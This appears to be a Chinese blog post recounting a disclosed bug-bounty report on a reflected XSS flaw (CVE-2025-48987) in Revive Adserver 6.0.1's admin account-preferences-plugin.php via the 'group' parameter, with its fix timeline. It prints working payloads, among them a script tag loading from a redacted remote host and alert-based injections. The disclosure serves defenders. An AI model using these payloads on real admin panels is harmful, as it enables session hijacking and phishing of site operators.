Revive Adserver 6.0.1 反射型XSS漏洞深度剖析

本文详细披露了在Revive Adserver 6.0.1版本admin目录下的account-preferences-plugin.php文件中,因group参数未正确过滤而导致的反射型跨站脚本攻击漏洞的技术细节、攻击原理与修复方案。

漏洞报告 #3399191 - Revive Adserver account-preferences-plugin.php 文件中的反射型XSS

报告人:lu3ky-13

报告时间:2025年10月25日 凌晨3:23(UTC)

漏洞概述:在 revive-adserver-6.0.1/www/admin/account-preferences-plugin.php 文件中发现一个反射型跨站脚本(RXSS)漏洞,该漏洞通过 group 查询参数触发。由于未受信任的输入未经适当的输出编码或上下文感知的转义处理,攻击者可以将JavaScript代码注入到最终生成的页面中。

受影响组件

1
revive-adserver-6.0.1/www/admin/account-preferences-plugin.php?group=

概念验证(PoC)

  1. 自定义PoC URL(通过 xss.report 测试/报告):
    1
    
    ██████████%27%22%3E%3Cscript%20src=//███████%3E%3C/script%3E
    
  2. 替代PoC(不使用远程资源,演示执行效果):
    1
    
    ██████████%27%22%3E%3Cscript%3Ealert(9645)%3C/script%3E
    
  3. 测试中成功触发弹窗的“常规”载荷(非破坏性):
    1
    
    '"()%26%25<zzz><ScRiPt >alert(9645)</ScRiPt>
    

安全复现步骤

  1. 访问构造的URL(包含恶意载荷)。
  2. 观察注入的 <script>alert(1)</script> 代码被执行(出现弹窗),从而确认反射型XSS漏洞。

漏洞影响:攻击者可以注入在受害者浏览器上下文中执行的脚本。这可用于典型的XSS滥用场景,例如界面伪装、钓鱼内容持久化、会话操纵等。

处理时间线

  • 2025年10月25日 07:03 UTC:Revive Adserver 团队成员 mbeccati 确认漏洞并标记为 Triaged
  • 2025年10月26日 11:18 UTCmbeccati 提供了修复补丁文件(h1-3399191.patch)。漏洞根因在于 group 参数未经充分净化。修复措施包括:对输入中的意外字符进行过滤,并验证输入是否为有效值(即该插件组确实存在需要向用户显示的偏好设置)。
  • 2025年10月26日 11:22 UTC:漏洞严重等级从 High (7.3) 下调为 Medium (4.3),以更贴合反射型XSS攻击的实际风险。
  • 2025年10月28日 11:02 UTCmbeccati 将报告状态标记为 Resolved,并计划在11月5日发布安全更新,修复包括此漏洞在内的多个安全问题。
  • 2025年10月31日:漏洞被分配 CVE-2025-48987 编号。
  • 2025年11月19日 09:32 UTC:报告被公开披露。

补充信息:在报告公开后,报告人 lu3ky-13 发现其提供的部分PoC载荷(指向远程资源的盲XSS载荷)已被他人利用,遂请求管理员删除该载荷内容以降低风险。管理员回复表示无法编辑报告人的总结部分。

报告状态:已解决 严重性:中危 (CVSS 4.3) 弱点类型:反射型跨站脚本攻击(XSS) CVE ID:CVE-2025-48987

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计